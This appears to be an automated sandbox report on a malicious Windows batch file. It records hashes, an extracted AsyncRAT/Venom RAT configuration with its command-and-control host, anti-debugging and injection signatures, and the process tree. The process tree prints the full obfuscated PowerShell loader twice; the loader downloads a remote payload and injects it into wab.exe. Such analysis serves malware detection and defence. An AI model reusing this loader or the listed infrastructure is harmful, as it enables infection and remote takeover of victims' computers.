Analysis
-
max time kernel
143s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 16:42
Static task
static1
Behavioral task
behavioral1
Sample
xff.cmd
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
xff.cmd
Resource
win10v2004-20240508-en
General
-
Target
xff.cmd
-
Size
6KB
-
MD5
7b90a6964decffe69d5a3f43d4285498
-
SHA1
9e2982f4c58624952f26322fd7eff379af540586
-
SHA256
b84eb711989fbe9e0ff3ec874b5a0dac33655d27929fdce619ea94a35dca8953
-
SHA512
f95ac4691adb65fe56c981567c2ea79bb786f38305ae0280da1c41f48c7f34d72fdc22737835096046590036353ec33295f1c6378987f1d9354356accd650b68
-
SSDEEP
96:Svgs1WudsEONjKlXPi3+mB0AT1DLkHjXTIo6wwPtsRmNga74vGyr:SN0ysEOKjMlTxiDEwqtLNga0N
Malware Config
Extracted
asyncrat
5.0.5
Venom Clients
xvern429.duckdns.org:8890
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
-
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 9 4296 powershell.exe 15 4296 powershell.exe 20 4296 powershell.exe 22 4296 powershell.exe 24 4296 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 2680 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2168 powershell.exe 2680 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2168 set thread context of 2680 2168 powershell.exe wab.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exepid process 4296 powershell.exe 4296 powershell.exe 2168 powershell.exe 2168 powershell.exe 2168 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2168 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 4296 powershell.exe Token: SeDebugPrivilege 2168 powershell.exe Token: SeDebugPrivilege 2680 wab.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
cmd.exepowershell.exepowershell.exedescription pid process target process PID 1800 wrote to memory of 4296 1800 cmd.exe powershell.exe PID 1800 wrote to memory of 4296 1800 cmd.exe powershell.exe PID 4296 wrote to memory of 3656 4296 powershell.exe cmd.exe PID 4296 wrote to memory of 3656 4296 powershell.exe cmd.exe PID 4296 wrote to memory of 2168 4296 powershell.exe powershell.exe PID 4296 wrote to memory of 2168 4296 powershell.exe powershell.exe PID 4296 wrote to memory of 2168 4296 powershell.exe powershell.exe PID 2168 wrote to memory of 4784 2168 powershell.exe cmd.exe PID 2168 wrote to memory of 4784 2168 powershell.exe cmd.exe PID 2168 wrote to memory of 4784 2168 powershell.exe cmd.exe PID 2168 wrote to memory of 2680 2168 powershell.exe wab.exe PID 2168 wrote to memory of 2680 2168 powershell.exe wab.exe PID 2168 wrote to memory of 2680 2168 powershell.exe wab.exe PID 2168 wrote to memory of 2680 2168 powershell.exe wab.exe PID 2168 wrote to memory of 2680 2168 powershell.exe wab.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xff.cmd"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Decisorens='Sub';$Decisorens+='strin';$Pissoirets = 1;$Decisorens+='g';Function Ovibovinae($Gtteris){$brsflsomme=$Gtteris.Length-$Pissoirets;For($Ssttes89=5;$Ssttes89 -lt $brsflsomme;$Ssttes89+=6){$tored+=$Gtteris.$Decisorens.Invoke( $Ssttes89, $Pissoirets);}$tored;}function Siphoning($Moduler){ . ($Fratrdelsen) ($Moduler);}$topografs=Ovibovinae 'AmbulMSkunkoProvezUnb,niG,undlJimcrlPrrieaChoke/Rense5 Unde.Palp 0Ukonv Djede( R llWErhveiLrerinfluordK edio B,nswBloodsEri d ForbrN .tigT Clin Sand1Ekspa0Bandi.Presn0biogr;Indtg Tera,W VindiCheepn,eraa6 Dise4 pato;Masca RkenvxBende6,ymno4 nel;Brand Kolonr.onulv.eget:Reack1Alons2 lagl1Wen,h. eyed0Isklu) Efte Bere.Gf oebe LatecBa,isks,ndhoAmico/Sekst2 P ug0Go,er1Unhab0Ja id0godhj1Mando0l.bor1Repla SchweFJordliSp dsrYe peest,fff Esdro,eavexDispo/Cykel1.ngos2.belt1Diath.Stted0p,ece ';$Lettroenheds=Ovibovinae 'BrestUAfgnisGarroe Spr,rSyd,o-DiestAR.pargF.ldme Udd,nRivert Amir ';$Ciboney=Ovibovinae 'Fjerbh Hygrt MedltHyld p InvasSemid:Urano/Mel b/Prea.wCi,taw In,awSemin.Lith.sForlge sepanFremldSports Akkopb,spaaNyderc Pretedenia. YankcMastioEndosmSelen/StorhpBluntrChaulomo st/UdgradParcelUnvar/IntenhGopledBeetra Em.e6Afl,dmAfdelgEpaen ';$Transporterings7=Ovibovinae 'Ankri>resfo ';$Fratrdelsen=Ovibovinae 'Imprei KommeOilstxDomi, ';$Bivirknings='Unionizing';$septodiarrhea = Ovibovinae ' Socie St,tcHelheh TredoCathe Afsla%K.skvaReefypHensipLaserdBldkoaUntretJin la Mega% Unim\UnvioA,ecrinturaceH vedmCallgoDummetJas iavejf.x DidyiSenils Skif.D.ttoS Frgea,kravfWalin fanta&Henot&Overb AntiweS,attc Incrh ironoBramb nchatBrint ';Siphoning (Ovibovinae 'Ska,b$,laapgMin rl S.lfoVandfbUnipoaSljdll un r:RdninFFormaoOrigirRe,egeCardis MurktAccupa KidnaUo mreMagelnFortad AtheeRuddo=Redis(SammecVe.dem Fis dMarty Hogti/Ransac nmag ,irma$Ove.lsObjeceStirpp BegrtSphenoAfso dFortriSaarfa,lbumrtalr rN,nvohDermieAditsaUnsal)Kol.e ');Siphoning (Ovibovinae ' Unre$Baxiegl,ndslFras.o enfibDeltaaDilutlOrnit:Nonhyt ExamaTranssHydr kVetoweSongbn.triksFe.edpBegitiVanddlSk.lnlOvereeFaculrVskete emor=Polit$ ,ivsCFrikiiKl.rgbEffekoTapionDysm,eSolblySm tt.KarelsTetrapTeg.tlStathiVievatScape( Sang$ UnclTRemitrBeskya s linApatisUnadvp Fa roReblarIso,atPersoeMelderLin.iiInedunpoleagNe.rus pr.d7Forva)tr st ');$Ciboney=$taskenspillere[0];$Vornedskabs= (Ovibovinae 'Inter$SubjegKomprlF,rmio SambbBla.kaVig.ilbrinv:ForhaAIch ebSkaldoTrilom AfskaDelaysDesoruSta.isFilet=Ed,erNVersee YndewCross-DozerOStorkbDandajHourle TermcUmp.ntStrik PolyS Kdvayhightsprogrt T,bee Syntm Modt.Vrt,nNsubskeTalmut Armi.An geW P,ateOrmu.bH.adcCSh.velFacepidemiueFolkenFejlgt');$Vornedskabs+=$Forestaaende[1];Siphoning ($Vornedskabs);Siphoning (Ovibovinae '.ngan$BomulA DodgbInteroUnrecm.kovfaKontisCa hau MonisSkarn.MajdaH.aneleretolaTeknodFort,e Udr.r RittsReima[Senio$L,ladLGenskeUbehjtF otytLxxcorSnvleoFraade,ealin spash.orblehapted K.nesSule.]Sk.ed=Eri k$ Tr.et Ca,co azerpSulteo UnchgCarserEkphoaThybofKom,usgudhj ');$Rastedes=Ovibovinae ' ,tat$TabirA OplybTillgo VeksmB.gnia ustis SeptuNedslsBortf.SkinpDF rwao Aftaw.adionAera lN,lgnoThwaraMotocdGlaucF HostiDukkelHulake aner(Aarsr$,aimoCmaaleiBilbob PretoMotornShrineProtyyCompa, Rets$Et,peBkdgryeG,nnea Obdut Nonti U,rifSkippiBl msc,unnaaDescrl De.i) P,ec ';$Beatifical=$Forestaaende[0];Siphoning (Ovibovinae 'Nahum$ SiskgMu.til E gloF.ldkbMisanaTiltrlbohun:Po itkle.hal ,undaCr nipWelshp,lgaaeSkule=Kunde(TokobTHvileeStibisImplit Ynke-Sm ltPTelefa,nsvatNatdrhUdsto verbi$Res rBHun,eeDre.eaUnr,atYamskiStvb,fTermiiMisfacHitchaso tsl Un.o) Anti ');while (!$klappe) {Siphoning (Ovibovinae 'As,en$halshgGiobelMagmaoast,obAspidaUltralIndef: amilI He sn Pinel GidsaKransk Slu eAerob=Dec.m$H,ddottils rS,agsuMokkaeUns i ') ;Siphoning $Rastedes;Siphoning (Ovibovinae ' DaemSPlkimtkraniaUdsmyrUp,aktPitho-MankeSBundfl,remae DipleDisc.p Whit Dor.4Mejse ');Siphoning (Ovibovinae 'Yar e$,ikspgBugollCuamuo EmnebWurz atoaarll.veb: orskkSnydelNedkma SonipHellep skileRhabd= Unpr( Rap.TBaluse iessErnr,tFirea-InterPTransaMaveptSpecih Orig Erken$SuperB.tande.ltinaBetlet Ik di in.sfLutrii IllucMacroaKonfelTi,ul)Bra,t ') ;Siphoning (Ovibovinae 'Trans$ Ra,ggBekral DekroMinerb Sen,a,eduplRabb,:PohnaTCogitrAnd.saDragsk perstGeneraLikeltri,lebparmorT,rsku FotodAttendMonoceAfstit NordsDeca =A tor$ symmgOmo hlFangeoRundsbDoddyaDikotlellip:BoombTCerasyTendidBuffie ScrulOutjeiFan ag ennehGoddaeW xesd KontsAflur6Psyki0Att i+Tata,+grape%Drkl $ afvit Gudsa iurs KrigkSakkaeIndben N nms Forgp ,alei,vindl EpidlK afte uperAchroePorta. BlomcDagsmoStordu Svernhu,outConco ') ;$Ciboney=$taskenspillere[$Traktatbruddets];}$Besvangrings=327350;$Magnetizes=29673;Siphoning (Ovibovinae 'Himme$LeucogDist.l Vi ioMusm bS peraAnti.lIncon:Befu,F ,andoover,r klipmUregeeCannulNebuleTomatn,rder Tarms=Gangl ExxheGProgrealbyltHemme-egundC,roteoStor,nNonlotprogreRullenShm,otfrdse Agnus$JambkB Snige Ticta SkjotModuliEfterf DandiSke.tc Exena FlyvlForre ');Siphoning (Ovibovinae 'Gensk$ ogedgInappl f.looMorinbFiguragramml.hanc:AesthCSvirroElektn dkoms,nremtSga.er l moaAntiaiAf,enn AfteiFunktnSjakfgGawkylO.kldybonde Kinet=Chanc Photo[,onreS Semiy M,thsflamitPorceeYodelmMaske. eepyCOmstnoKamm.nSaxicv IsobePalmirstilltHydro]Ddssy:elekt:BeltwFResperSpil.o,edfim Wi,dB Vi raU opys SlakeSrgem6.oney4Com.lS GothtSadomrRajahiCantonOversgRegul(Be er$VbnerFDioxio.piscrimpasmT,llgeUn.erlSa.sgeVand nGirob)Allic ');Siphoning (Ovibovinae 'Unwar$ChampgNonhelBowleoE dosb R tea U.islInven:ApperAS,elluVedlgtSavleo Omdiv Ple.a Karts.entekTripteungesaGa ann iorglPe,sagRicingStense,erbotMitzy F.ys= .los Kandi[StumoSIngeryYndigsBeregtBiloceafi nmNonob. PensTUskyleEurokx Zaddtforbl.BosweE ewhnNoncoc PropoUnmasdGe,nei FisknRe,izg Outs]Presc:Skovb:RathaALandlS FratC AngeIMonodIFradr.SkoleGRemudeHy,hetYummiS Untht AsylrUna,iiUndernKak.fg frem( Unst$K,hytCTr,teoHelmenPli,tsFrerbtAtt,irChloraepephiFuturn Har iSceptnSuperg BrislSkrifyT lin)Tengu ');Siphoning (Ovibovinae 'Discu$HeavegChaldl.igtso Ove,bKonseaHovmolValed:UdbanBWild,o,ffenoMatarzEarspetruncrSa,nt=Tuber$ TeleAPa.dauyirtht mancoFoothvKingfaDri ks SeggkDreameRaadgaStempnAn ecl Kna.gObersg Tik eSognet ditt. AalesTorifuArboubPodagsFlanntNonidrA,achimis tnGalgagKludr(Nonne$baadeBSupraeb.sots.komavBrostaA.rennEnestg Duh r DistikogepnSpringLoatus Faru,Repo $TekstMMartha AmphgP ussntricaef,edst.alskiA,trkzSkattemelansAscog).iana ');Siphoning $Boozer;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Anemotaxis.Saf && echo t"3⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Decisorens='Sub';$Decisorens+='strin';$Pissoirets = 1;$Decisorens+='g';Function Ovibovinae($Gtteris){$brsflsomme=$Gtteris.Length-$Pissoirets;For($Ssttes89=5;$Ssttes89 -lt $brsflsomme;$Ssttes89+=6){$tored+=$Gtteris.$Decisorens.Invoke( $Ssttes89, $Pissoirets);}$tored;}function Siphoning($Moduler){ . ($Fratrdelsen) ($Moduler);}$topografs=Ovibovinae 'AmbulMSkunkoProvezUnb,niG,undlJimcrlPrrieaChoke/Rense5 Unde.Palp 0Ukonv Djede( R llWErhveiLrerinfluordK edio B,nswBloodsEri d ForbrN .tigT Clin Sand1Ekspa0Bandi.Presn0biogr;Indtg Tera,W VindiCheepn,eraa6 Dise4 pato;Masca RkenvxBende6,ymno4 nel;Brand Kolonr.onulv.eget:Reack1Alons2 lagl1Wen,h. eyed0Isklu) Efte Bere.Gf oebe LatecBa,isks,ndhoAmico/Sekst2 P ug0Go,er1Unhab0Ja id0godhj1Mando0l.bor1Repla SchweFJordliSp dsrYe peest,fff Esdro,eavexDispo/Cykel1.ngos2.belt1Diath.Stted0p,ece ';$Lettroenheds=Ovibovinae 'BrestUAfgnisGarroe Spr,rSyd,o-DiestAR.pargF.ldme Udd,nRivert Amir ';$Ciboney=Ovibovinae 'Fjerbh Hygrt MedltHyld p InvasSemid:Urano/Mel b/Prea.wCi,taw In,awSemin.Lith.sForlge sepanFremldSports Akkopb,spaaNyderc Pretedenia. YankcMastioEndosmSelen/StorhpBluntrChaulomo st/UdgradParcelUnvar/IntenhGopledBeetra Em.e6Afl,dmAfdelgEpaen ';$Transporterings7=Ovibovinae 'Ankri>resfo ';$Fratrdelsen=Ovibovinae 'Imprei KommeOilstxDomi, ';$Bivirknings='Unionizing';$septodiarrhea = Ovibovinae ' Socie St,tcHelheh TredoCathe Afsla%K.skvaReefypHensipLaserdBldkoaUntretJin la Mega% Unim\UnvioA,ecrinturaceH vedmCallgoDummetJas iavejf.x DidyiSenils Skif.D.ttoS Frgea,kravfWalin fanta&Henot&Overb AntiweS,attc Incrh ironoBramb nchatBrint ';Siphoning (Ovibovinae 'Ska,b$,laapgMin rl S.lfoVandfbUnipoaSljdll un r:RdninFFormaoOrigirRe,egeCardis MurktAccupa KidnaUo mreMagelnFortad AtheeRuddo=Redis(SammecVe.dem Fis dMarty Hogti/Ransac nmag ,irma$Ove.lsObjeceStirpp BegrtSphenoAfso dFortriSaarfa,lbumrtalr rN,nvohDermieAditsaUnsal)Kol.e ');Siphoning (Ovibovinae ' Unre$Baxiegl,ndslFras.o enfibDeltaaDilutlOrnit:Nonhyt ExamaTranssHydr kVetoweSongbn.triksFe.edpBegitiVanddlSk.lnlOvereeFaculrVskete emor=Polit$ ,ivsCFrikiiKl.rgbEffekoTapionDysm,eSolblySm tt.KarelsTetrapTeg.tlStathiVievatScape( Sang$ UnclTRemitrBeskya s linApatisUnadvp Fa roReblarIso,atPersoeMelderLin.iiInedunpoleagNe.rus pr.d7Forva)tr st ');$Ciboney=$taskenspillere[0];$Vornedskabs= (Ovibovinae 'Inter$SubjegKomprlF,rmio SambbBla.kaVig.ilbrinv:ForhaAIch ebSkaldoTrilom AfskaDelaysDesoruSta.isFilet=Ed,erNVersee YndewCross-DozerOStorkbDandajHourle TermcUmp.ntStrik PolyS Kdvayhightsprogrt T,bee Syntm Modt.Vrt,nNsubskeTalmut Armi.An geW P,ateOrmu.bH.adcCSh.velFacepidemiueFolkenFejlgt');$Vornedskabs+=$Forestaaende[1];Siphoning ($Vornedskabs);Siphoning (Ovibovinae '.ngan$BomulA DodgbInteroUnrecm.kovfaKontisCa hau MonisSkarn.MajdaH.aneleretolaTeknodFort,e Udr.r RittsReima[Senio$L,ladLGenskeUbehjtF otytLxxcorSnvleoFraade,ealin spash.orblehapted K.nesSule.]Sk.ed=Eri k$ Tr.et Ca,co azerpSulteo UnchgCarserEkphoaThybofKom,usgudhj ');$Rastedes=Ovibovinae ' ,tat$TabirA OplybTillgo VeksmB.gnia ustis SeptuNedslsBortf.SkinpDF rwao Aftaw.adionAera lN,lgnoThwaraMotocdGlaucF HostiDukkelHulake aner(Aarsr$,aimoCmaaleiBilbob PretoMotornShrineProtyyCompa, Rets$Et,peBkdgryeG,nnea Obdut Nonti U,rifSkippiBl msc,unnaaDescrl De.i) P,ec ';$Beatifical=$Forestaaende[0];Siphoning (Ovibovinae 'Nahum$ SiskgMu.til E gloF.ldkbMisanaTiltrlbohun:Po itkle.hal ,undaCr nipWelshp,lgaaeSkule=Kunde(TokobTHvileeStibisImplit Ynke-Sm ltPTelefa,nsvatNatdrhUdsto verbi$Res rBHun,eeDre.eaUnr,atYamskiStvb,fTermiiMisfacHitchaso tsl Un.o) Anti ');while (!$klappe) {Siphoning (Ovibovinae 'As,en$halshgGiobelMagmaoast,obAspidaUltralIndef: amilI He sn Pinel GidsaKransk Slu eAerob=Dec.m$H,ddottils rS,agsuMokkaeUns i ') ;Siphoning $Rastedes;Siphoning (Ovibovinae ' DaemSPlkimtkraniaUdsmyrUp,aktPitho-MankeSBundfl,remae DipleDisc.p Whit Dor.4Mejse ');Siphoning (Ovibovinae 'Yar e$,ikspgBugollCuamuo EmnebWurz atoaarll.veb: orskkSnydelNedkma SonipHellep skileRhabd= Unpr( Rap.TBaluse iessErnr,tFirea-InterPTransaMaveptSpecih Orig Erken$SuperB.tande.ltinaBetlet Ik di in.sfLutrii IllucMacroaKonfelTi,ul)Bra,t ') ;Siphoning (Ovibovinae 'Trans$ Ra,ggBekral DekroMinerb Sen,a,eduplRabb,:PohnaTCogitrAnd.saDragsk perstGeneraLikeltri,lebparmorT,rsku FotodAttendMonoceAfstit NordsDeca =A tor$ symmgOmo hlFangeoRundsbDoddyaDikotlellip:BoombTCerasyTendidBuffie ScrulOutjeiFan ag ennehGoddaeW xesd KontsAflur6Psyki0Att i+Tata,+grape%Drkl $ afvit Gudsa iurs KrigkSakkaeIndben N nms Forgp ,alei,vindl EpidlK afte uperAchroePorta. BlomcDagsmoStordu Svernhu,outConco ') ;$Ciboney=$taskenspillere[$Traktatbruddets];}$Besvangrings=327350;$Magnetizes=29673;Siphoning (Ovibovinae 'Himme$LeucogDist.l Vi ioMusm bS peraAnti.lIncon:Befu,F ,andoover,r klipmUregeeCannulNebuleTomatn,rder Tarms=Gangl ExxheGProgrealbyltHemme-egundC,roteoStor,nNonlotprogreRullenShm,otfrdse Agnus$JambkB Snige Ticta SkjotModuliEfterf DandiSke.tc Exena FlyvlForre ');Siphoning (Ovibovinae 'Gensk$ ogedgInappl f.looMorinbFiguragramml.hanc:AesthCSvirroElektn dkoms,nremtSga.er l moaAntiaiAf,enn AfteiFunktnSjakfgGawkylO.kldybonde Kinet=Chanc Photo[,onreS Semiy M,thsflamitPorceeYodelmMaske. eepyCOmstnoKamm.nSaxicv IsobePalmirstilltHydro]Ddssy:elekt:BeltwFResperSpil.o,edfim Wi,dB Vi raU opys SlakeSrgem6.oney4Com.lS GothtSadomrRajahiCantonOversgRegul(Be er$VbnerFDioxio.piscrimpasmT,llgeUn.erlSa.sgeVand nGirob)Allic ');Siphoning (Ovibovinae 'Unwar$ChampgNonhelBowleoE dosb R tea U.islInven:ApperAS,elluVedlgtSavleo Omdiv Ple.a Karts.entekTripteungesaGa ann iorglPe,sagRicingStense,erbotMitzy F.ys= .los Kandi[StumoSIngeryYndigsBeregtBiloceafi nmNonob. PensTUskyleEurokx Zaddtforbl.BosweE ewhnNoncoc PropoUnmasdGe,nei FisknRe,izg Outs]Presc:Skovb:RathaALandlS FratC AngeIMonodIFradr.SkoleGRemudeHy,hetYummiS Untht AsylrUna,iiUndernKak.fg frem( Unst$K,hytCTr,teoHelmenPli,tsFrerbtAtt,irChloraepephiFuturn Har iSceptnSuperg BrislSkrifyT lin)Tengu ');Siphoning (Ovibovinae 'Discu$HeavegChaldl.igtso Ove,bKonseaHovmolValed:UdbanBWild,o,ffenoMatarzEarspetruncrSa,nt=Tuber$ TeleAPa.dauyirtht mancoFoothvKingfaDri ks SeggkDreameRaadgaStempnAn ecl Kna.gObersg Tik eSognet ditt. AalesTorifuArboubPodagsFlanntNonidrA,achimis tnGalgagKludr(Nonne$baadeBSupraeb.sots.komavBrostaA.rennEnestg Duh r DistikogepnSpringLoatus Faru,Repo $TekstMMartha AmphgP ussntricaef,edst.alskiA,trkzSkattemelansAscog).iana ');Siphoning $Boozer;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Anemotaxis.Saf && echo t"4⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pjj55o51.tk3.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Anemotaxis.SafFilesize
464KB
MD518fc7a00c5b4cd7bf88445aaf24491bf
SHA18127f6999587c6b0bfde91fceac9d0106907b9d2
SHA25638393e1abae0ed937471b6d4196ebbf100921142ea85d266b3505cc24a992fc2
SHA5120127009c795974510ea898f320450e7bd0b76dd395374c4058adab95e39e27459306cde56de5b39cd38f053513b26eda0d76da34af8cb9ca352daa5d5323ebfb
-
memory/2168-43-0x0000000007DD0000-0x000000000844A000-memory.dmpFilesize
6.5MB
-
memory/2168-29-0x0000000005EC0000-0x0000000005F26000-memory.dmpFilesize
408KB
-
memory/2168-44-0x0000000006B40000-0x0000000006B5A000-memory.dmpFilesize
104KB
-
memory/2168-23-0x000000007526E000-0x000000007526F000-memory.dmpFilesize
4KB
-
memory/2168-24-0x0000000002C90000-0x0000000002CC6000-memory.dmpFilesize
216KB
-
memory/2168-25-0x0000000075260000-0x0000000075A10000-memory.dmpFilesize
7.7MB
-
memory/2168-26-0x00000000056B0000-0x0000000005CD8000-memory.dmpFilesize
6.2MB
-
memory/2168-27-0x0000000075260000-0x0000000075A10000-memory.dmpFilesize
7.7MB
-
memory/2168-28-0x0000000005D20000-0x0000000005D42000-memory.dmpFilesize
136KB
-
memory/2168-49-0x0000000008FB0000-0x000000000C8C0000-memory.dmpFilesize
57.1MB
-
memory/2168-30-0x0000000005F30000-0x0000000005F96000-memory.dmpFilesize
408KB
-
memory/2168-40-0x0000000005FA0000-0x00000000062F4000-memory.dmpFilesize
3.3MB
-
memory/2168-41-0x00000000065A0000-0x00000000065BE000-memory.dmpFilesize
120KB
-
memory/2168-42-0x00000000065D0000-0x000000000661C000-memory.dmpFilesize
304KB
-
memory/2168-71-0x0000000075260000-0x0000000075A10000-memory.dmpFilesize
7.7MB
-
memory/2168-46-0x00000000077F0000-0x0000000007812000-memory.dmpFilesize
136KB
-
memory/2168-69-0x0000000075260000-0x0000000075A10000-memory.dmpFilesize
7.7MB
-
memory/2168-45-0x0000000007890000-0x0000000007926000-memory.dmpFilesize
600KB
-
memory/2168-47-0x0000000008A00000-0x0000000008FA4000-memory.dmpFilesize
5.6MB
-
memory/2168-68-0x000000007526E000-0x000000007526F000-memory.dmpFilesize
4KB
-
memory/2680-77-0x00000000234B0000-0x000000002354C000-memory.dmpFilesize
624KB
-
memory/2680-70-0x0000000000FF0000-0x0000000002244000-memory.dmpFilesize
18.3MB
-
memory/2680-73-0x0000000000FF0000-0x0000000001006000-memory.dmpFilesize
88KB
-
memory/2680-72-0x0000000000FF0000-0x0000000002244000-memory.dmpFilesize
18.3MB
-
memory/4296-50-0x00007FF917AA3000-0x00007FF917AA5000-memory.dmpFilesize
8KB
-
memory/4296-51-0x00007FF917AA0000-0x00007FF918561000-memory.dmpFilesize
10.8MB
-
memory/4296-12-0x000001BB37DA0000-0x000001BB37DC2000-memory.dmpFilesize
136KB
-
memory/4296-13-0x00007FF917AA0000-0x00007FF918561000-memory.dmpFilesize
10.8MB
-
memory/4296-14-0x00007FF917AA0000-0x00007FF918561000-memory.dmpFilesize
10.8MB
-
memory/4296-76-0x00007FF917AA0000-0x00007FF918561000-memory.dmpFilesize
10.8MB
-
memory/4296-2-0x00007FF917AA3000-0x00007FF917AA5000-memory.dmpFilesize
8KB